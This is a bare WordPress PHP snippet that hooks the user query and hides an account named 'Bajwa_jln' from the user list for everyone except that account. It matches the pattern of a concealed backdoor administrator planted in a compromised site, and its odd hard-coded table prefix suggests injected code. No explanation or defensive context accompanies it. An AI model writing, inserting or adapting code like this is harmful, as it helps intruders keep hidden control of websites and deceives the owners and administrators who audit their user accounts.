add_action('pre_user_query', 'hide_user_Bajwa_jln');
function hide_user_Bajwa_jln($query) {
    global $current_user;
    if(isset($current_user->user_login) && $current_user->user_login !== 'Bajwa_jln') {
        global $wpdb;
        $query->query_where .= $wpdb->prepare(' AND {hyCNv_users}.user_login != %s', 'Bajwa_jln');
    }
}